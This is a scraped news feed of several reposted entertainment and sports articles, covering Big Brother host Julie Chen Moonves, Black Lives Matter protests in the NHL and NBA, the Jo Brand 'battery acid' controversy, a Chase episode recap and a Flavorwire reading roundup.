]]> https://briefnews.eu/the-chase-bradley-walsh-told-off-by-player-as-he-mocks-her-error-not-a-laughing-matter/feed/ 0 Big Brother: Julie Chen Moonves Sheds Light on Sign-Off: ‘Black Lives Matter and Now Is the Time to Speak Up’ https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/ https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/#respond Sat, 15 Aug 2020 14:39:17 +0000 https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/

RELATED STORIES

Veritably answering two of TVLine’s recent TV Questions, Julie Chen Moonves has shed light on the intent of her feel-good Big Brother All-Stars sign-off messages.

Whereas the host traditionally ends her on-camera appearance by saying, “From outside the Big Brother house, I’m Julie Chen Moonves. Goodnight,” she capped the Aug. 5 season opener by inviting viewers to “Be safe, be well, and be good to one another.” And at the conclusion of the Aug. 13 episode, she cued the audience to “remember the Golden Rule: Do unto others as you would have them do unto you.”

Chen Moonves has since explained to EW that these closing messages are not any set of cryptic clues to upcoming in-game twists (as some theorized), but simply positive inspiration for outside the Big Brother house.

“I mentioned the Golden Rule because I believe that if EVERYONE followed that principle, we’d ALL be better off as a society, as a nation, as a world,” Chen Moonves wrote to EW. “I chose to close with those words because Black Lives Matter and now is the time to speak up.

“If the number of Black lives that have been taken happened to people of your heritage, you would be saying (fill-in-the-blank) Lives Matter! It’s my faith in God that is getting me through these uncertain times. We CAN be better. Why not try? It can’t hurt. It can only help. Most of all, it’ll help the person who rises to the occasion,” she said.

Big Brother‘s 22nd season is currently underway with 16 returning houseguests vying for the $ 500,000 prize. Participants include former winners Nicole Franzel and Ian Terry, in addition to fan favorites like Janelle Pierzina, Tyler Crispen and Da’Vonne Rogers. The show aired its first live eviction episode Thursday. (Find out which houseguest was the first evictee.)

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2020/08/julie-chen-moonves-sign-off.png

]]> https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/feed/ 0 NHL’s Matt Dumba Delivers Passionate Black Lives Matter Speech Before Blackhawks vs. Oilers Game — Watch https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/ https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/#respond Sun, 02 Aug 2020 00:01:24 +0000 https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/

RELATED STORIES

The NHL‘s postseason began Saturday with an impassioned speech by Minnesota Wild defenseman Matt Dumba that called for support of the Black Lives Matter movement and justice for victims of police violence.

Before the puck drop at the Chicago Blackhawks vs. Edmonton Oilers game, Dumba, who is of Filipino descent, spoke about the need to address systemic racism and the need for diversity in hockey, saying that while the sport is great, it can be “a lot greater” if players and fans unite and join the fight to end racism.

“During this pandemic something unexpected but long overdue occurred,” Dumba said. “The world woke up to the existence of systematic racism and how deeply rooted it is in our society. For those unaffected by systematic racism or are unaware, I’m sure some of you believe that this topic has garnered too much attention these last couple of months. But let me assure you that it has not.”

Speaking on behalf of the NHL and the Hockey Diversity Alliance, the defenseman said, “Racism is a man-made creation, and all it does is deteriorate from our collective prosperity. Racism is everywhere, and we need to fight against it.

“We vow and promise to stand up for justice and fight for what is right,” he continued. “I know first-hand as a minority playing the great game of hockey, the unexplainable and difficult challenges that come with it. The Hockey Diversity Alliance and NHL want kids to feel safe, comfortable and free-minded every time they enter an arena. So I stand in front of you today on behalf of those groups and promise you that we will fight against injustice and fight for what is right. I hope this inspires a new generation of hockey players and hockey fans because Black Lives Matter. Breonna Taylor’s life matters. Hockey is a great game, but it could be a whole lot greater — and it starts with all of us.”

Following the speech, Malcolm Subban of the Blackhawks and Darnell Nurse of the Oilers placed their hands on Dumba as he became the first NHL player to kneel during the national anthem.

Dumba’s speech follows the NBA’s July 30 opening game, where both the New Orleans Pelicans and Utah Jazz donned Black Lives Matter shirts and took a knee ahead of tip-off. Elsewhere, in the MLB, the New York Yankees and the Washington Nationals both took a collective knee before their July 23 game to honor the BLM movement.

View Dumba’s speech in its entirety above.

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2020/08/matt-dumba-nhl.jpg

]]> https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/feed/ 0 NBA Teams Kneel in Black Lives Matter Shirts as Interrupted Season Restarts https://briefnews.eu/nba-teams-kneel-in-black-lives-matter-shirts-as-interrupted-season-restarts/ https://briefnews.eu/nba-teams-kneel-in-black-lives-matter-shirts-as-interrupted-season-restarts/#respond Fri, 31 Jul 2020 09:51:02 +0000 https://briefnews.eu/nba-teams-kneel-in-black-lives-matter-shirts-as-interrupted-season-restarts/

RELATED STORIES

Akin to how the MLB opened its own pandemic-derailed season — but even more so — the teams that restarted the NBA season on Thursday night donned Black Lives Matters shirts and took a knee ahead of their tip-offs.

Ahead of the basketball league’s re-opening game on TNT, players on the New Orleans Pelicans and Utah Jazz kneeled, and some raised fists, as a pre-recorded national anthem, by New Orleans native Jon Batiste, played. Later in the night, the Los Angeles Lakers and Los Angeles Clippers did same, as a rendition of the national anthem by the Compton Kidz Club played on jumbo screens (watch video below).

Though kneeling during the anthem is against league rules, the right to do so was a negotiating point as the NBA planned to resume its season, which was benched by the coronavirus pandemic in early spring.

“A central goal of our season restart will be to utilize the NBA’s platform to bring attention and sustained action to issues of social injustice, including combatting systemic racism, expanding educational and economic opportunities across the Black community, enacting meaningful police and criminal justice reform and promoting greater civic engagement,” the NBA said in a June statement.

NBA commissioner Adam Silver similarly addressed Thursday night’s pre-game demonstrations, saying, “I respect our teams’ unified act of peaceful protest for social justice and under these unique circumstances will not enforce our long-standing rule requiring standing during the playing of our national anthem.”

The New Orleans Pelicans earlier on Thursday issued a statement saying they “stand by the ideals of freedom of speech and the right to peacefully protest. …. To promote meaningful change relative to social justice and racial equality, the New Orleans Pelicans have partnered with our players, staff and coaches to create a Social Justice Leadership Alliance committed to furthering the discussion, listening and learning and taking action to make positive change in our community and our country.”

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2020/07/lakers-pelicans-kneel-black-lives-matter.jpg

]]> https://briefnews.eu/nba-teams-kneel-in-black-lives-matter-shirts-as-interrupted-season-restarts/feed/ 0 Jo Brand: ‘Only a matter of time’ Eamonn Holmes hits out over ‘battery acid’ remark https://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/ https://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/#respond Fri, 14 Jun 2019 12:39:56 +0000 http://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/

Jo Brand, 61, has faced a huge backlash for her comments on the Heresy programme on BBC Radio 4 and has since apologised for her actions.

Although the comedian said she would never go through with the criminal act of violence, many have called for action, with Brexit party politician Nigel Farage, 55, stating the police should get involved with the matter.

Speaking on talkRADIO yesterday, This Morning presenter Eamonn Holmes, 59, gave his thoughts on the matter and said it was “only a matter of time” until someone commits such an act.

Joined by psychotherapist and broadcaster Lucy Beresford, 54, Holmes explained if he were to speak of such a fantasy, he would be taken off-air.

“Well I’ll put it to you, if I was sitting here and light heartedly tried to replicate what Jo Brand said there, it wouldn’t be regarded as funny,” he began.

“Because I would tell you straight away, I would be taken off air.”

Holmes went on to say: “I like Jo Brand a lot, I think she’s very funny but you just cannot in this day and age, you know tell people like Katie Piper who was badly disfigured with acid being thrown at her that it’s funny, it’s a joke about replacing a milkshake with battery acid.”

Beresford added on the matter: “I think in the last three years when you had an MP murdered, it makes it very difficult to justify people saying certain things.

“However, we have to get to a point in society where you are allowed to almost say the unthinkable to push the boundaries.”

Disagreeing with the point, Holmes hit back: “No! Until somebody throws battery acid at Nigel Farage and then we’ll all be back to the BBC and Jo Brand what they should have done and who should have apologised for it.”

The This Morning star continued: “I think we’re in a completely different territory in this day and age and I think certain prominent politicians are now in the cross hairs for this sort of thing.

“And it’s only a matter of time before I would say someone is seriously damaged with this and then it all goes back to the BBC and Jo Brand.”

A BBC spokesperson has responded to the matter, telling press in a statement: “Heresy is a long-running comedy programme where, as the title implies and as our listeners know, panellists often say things which are deliberately provocative and go against societal norms but are not intended to be taken seriously.

“We carefully considered the programme before broadcast. It was never intended to encourage or condone violence, and it does not do so, but we have noted the strong reaction to it.

“Comedy will always push boundaries and will continue to do so, but on this occasion we have decided to edit the programme.”

The spokesperson concluded: “We regret any offence we have caused.”

Comedian Frank Skinner also recently weighed in on the debate during an appearance on ITV’s Loose Women and defenced the star.

Skinner said: “I think it is difficult to say anything in public life at all. When kids play Hangman, is that a devil may care attitude to capital punishment?

“I don’t think Jo, for one second, would want anyone to commit an act of violence – even against Nigel Farage.

“We live in a society where people find it much easier to say hate than love about anything.

“Especially on Twitter… It is a weird time at the moment where people are very angry about various things but you have got to have jokes.”

Let’s block ads! (Why?)

]]> https://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/feed/ 0 The Chase: ‘What’s the matter with you?!’ Bradley Walsh SHUTS DOWN Anne Hegerty https://briefnews.eu/the-chase-whats-the-matter-with-you-bradley-walsh-shuts-down-anne-hegerty/ https://briefnews.eu/the-chase-whats-the-matter-with-you-bradley-walsh-shuts-down-anne-hegerty/#respond Tue, 23 Apr 2019 17:46:36 +0000 http://briefnews.eu/the-chase-whats-the-matter-with-you-bradley-walsh-shuts-down-anne-hegerty/

The Chase continued this evening and Bradley Walsh was eager for today’s contestant to take home some money.

However his team didn’t do him any favours as the first and third members of the team were eventually caught by the chaser Anne Hegerty.

But during contestant Greg’s attempt to win some cash for the team, Anne opted to tempt him further.

Greg acquired a measly £3,000 during the cash-builder round, which left him with the choice of keeping his winnings, or upgrading to the £26,000 for the higher offer.

While he mused over whether he should take the extra risk or not, Anne began saying: “Yes, take it.”

To which Bradley raised his hand and began yelling: “Whoah whoah whoah!” before turning to Greg and saying: “Take your time.”

Eventually Greg did in fact take the £3,000, before Bradley turned to Anne.

He announced: “Trying to entice my player. What’s the matter with you!”

Anne defended herself by beginning: “No I wanted to…” as Bradley cut her off.

He continued: “I know what you wanted to do! Let’s play…”

Unfortunately for Greg, he was caught and sent home without any winnings.

And Bradley’s team didn’t do well, as only two made it through to the final chase.

It hasn’t been a great week for Bradley as he found himself pleading with the player’s father on the show.

Speaking to his contestant Gerry, he was told he may want a raise at his job as a farmer.

Looking directly at the camera Bradley said: “Come on.

“He’s been working on the farm since he was young.

“He wants a raise, don’t you Gerry?”

Bradley went on to add: “He’ll be cursing when you get home!”

Unfortunately for Gerry he didn’t make it through the show as he was caught by Paul Sinha.

The Chase airs weekdays at 6am on ITV.

Let’s block ads! (Why?)

]]> https://briefnews.eu/the-chase-whats-the-matter-with-you-bradley-walsh-shuts-down-anne-hegerty/feed/ 0 Recommended Reading: Robert De Niro, Aging in Bookstores, and Why Cultural Critics Matter https://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/ https://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/#respond Sat, 05 Jan 2019 13:49:01 +0000 http://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, thoughts on how our reading habits change, a troubling exposé of a YouTube scam, a call for more arts criticism, and an interview with a legend. 

Michael Schulman interviews Robert De Niro.

Robert De Niro doesn’t give a lot of interviews — and when he does, he’s known to be a tough one. He’s not combative or evasive; he just does what he does, and doesn’t really like to talk about it. But Schulman’s sit-down for the New Yorker gets some good quotes out of the iconic actor, particularly on how his best-known characters relate to the current cultural moment:

I do find it interesting that you’ve played so many men who’ve felt this rage and alienation—even Jack Byrnes in “Meet the Parents,” who can’t access his emotions. Between Trump and #MeToo, it’s been a rough couple years for masculinity. What does being a real man mean to you?

Being a real man is not just being a man the way you’d think. If you think that I should do this or that or I’m not a man—I’m sorry. Men are much more complex, and there are many more sides to them. You gotta be sensitive. You gotta care about people, have empathy. And someone like Trump, he’s got something screwed loose in his head. But it’s through some deep insecurity that he actually behaves the way he does, because it’s all bullshit. And people buy into that with him, with his behavior. It’s sad. That’s not what life is about. But some people are in cultures where they’re all like that, they all reinforce it in each other. The sensitive ones are afraid to say anything. I made a movie, “A Bronx Tale,” and those kids, they don’t want to look like they’re not tough with their peers. The bottom line is, you gotta be an individual and you gotta stand up and be who you are.

That’s a good way to put it: toughness. People see Trump as tough—

He’s not tough.

—but your work has explored toughness in a lot of different varieties, and there’s good toughness and bad toughness.

You don’t have to behave the way he does. That’s just bullshit bravado. It has nothing to do with anything. If you’re tough, you’d be making decisions that he hasn’t made.

Steve Edwards on aging and reading.

We can all agree (well, those of us who aren’t jerks) that few things are as exciting and enlightening as a trip to the bookstore, wandering the aisles, deciding what deserves not only our hard-earned money, but our hard-fought attention. In an insightful personal essay at Lithub, author Edwards notes the difference between taking that trip in his 20s and taking it now, in his 40s — how the book stack used to tell him who he wanted to be, and now it says much about who he is and was.

I’d started coming to bookstores because I wanted to learn how to write and the only consistent advice I got from established writers was to read everything. It was good advice. It’s still good advice. It’s also impossible. No one reads everything, nor even all the books they’d like to. You make your choices, come what may. John Muir’s famous quote about ecology might as well have been about choosing what books to buy: “When we try to pick out anything by itself, we find it hitched to everything else in the Universe.” The bookstore is a liminal space. Even if like me you don’t have the cash to buy a box of new titles and reinvent yourself week to week, you have the moment of the choosing and everything it tugs upon.

As a young writer, I thought I had to read widely in order to learn different authors’ styles and sentence structures and voices. I thought I needed a sense of what sang and what sold, what had been done and done to death. But what I needed more than anything were the consequences of my choices. I needed to live the lives the books I read compelled me to lead—to be brave, big-hearted, open to surprise and welcoming of mystery. Until I had a lived, my study of sentences was nothing more than a corkboard of pin-stuck insects arranged by genus and species. I could gain knowledge from such cold classifications but it wasn’t the same as standing in some open mountain meadow, flowers teeming with wings, crickets under every rock. What I needed was the quality of attention the writers I loved brought to the page, their fidelity to translating perception into sequences of language that edified me for losing (and finding) myself in them. If I wanted to understand crickets, I had to become like the grasses in the meadow soaking up every call.

Julia Alexander on “Mystery Brand.”

Few writers are as skilled at navigating the confounding waters of YouTube “influencers” like Alexander, and her latest for The Verge is a doozy: Jake Paul and Brian “RiceGum” Le are in hot water for running sponsored videos for a sketchy company called Mystery Brand, “a form of loot box-style gambling” in which buyers might win valuable prizes like designer clothes, high-dollar sneakers, and even cars and houses. But probably not. And YouTube isn’t doing a thing about it.

“YouTube believes that creators should be transparent with their audiences if their content includes paid promotion of any kind,” a YouTube spokesperson told The Verge before Le’s apology video was posted. “Our policies make it clear that YouTube creators are responsible for ensuring their content complies with local laws, regulations and YouTube Community Guidelines. If content is found to violate these policies, we take action to ensure the integrity of our platform, which can include removing content.”

YouTube’s policy allows for responsible gambling ads, with restrictions and protections for those watching, but the site doesn’t consider Mystery Brands or loot box-style games as gambling. Essentially, Paul’s and Le’s videos exist in a very specific gray area. YouTube’s policies do state that creators can not promote spam, deceptive practices, or scams, even through partnerships. If YouTube determines a company is taking advantage of users, its policy is to take down sponsored videos for violating the company’s community guidelines — but so far, it’s not clear whether Mystery Brand has broken those rules. But those policy nuances haven’t stopped other creators from calling out Paul and Le for intentionally misleading their followers.

Todd VanDerWerff on why cultural criticism matters.

And here’s one more year-end piece, which snuck in just under the wire on New Year’s Eve. It’s been a rough damn year for arts criticism. The Village Voice is gone, and Voice Media is shuttering its TV and film verticals. The AV Club, BuzzFeed, The Fader, and this very site have seen layoffs for critical voices. And it’s easy to assume that in this moment where the stakes of our politics are literally life and death, such losses are acceptable — after all, it’s just entertainment. Vox‘s VanDerWerff argues the contrary.

Once we know where we’re going, all of this will make more sense. But culture writing isn’t about predicting the future — it’s about predicting the present.

When I make the above argument in favor of cultural criticism to journalistic colleagues who deal in what might be dubbed the “hard sciences” of journalism — data-driven, boots-on-the-ground reporting — I am always aware that it sounds just a little fantastical. And there have been many times that I and my critical brethren have just plumb missed something burbling away in the national subconscious. Few critics looked at the pop culture of the early 2010s and said, “Yep, a culture war’s brewing,” even if it seems blindingly obvious in hindsight.

You can attribute at least some of missing that particular boat to the geographical concentration of cultural critics in New York and Los Angeles (where I live). The homogeneity of critics — too many of us are white, too many of us are male, and too many of us live on one of the coasts — is a real problem that needs to be corrected sooner, rather than later, if we are to better understand the dreams a multicultural nation is having, sometimes in parallel and sometimes in bloody intersection.

                        

Let’s block ads! (Why?)


https://flavorwire.files.wordpress.com/2019/01/rr-1-4.png

]]> https://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/feed/ 0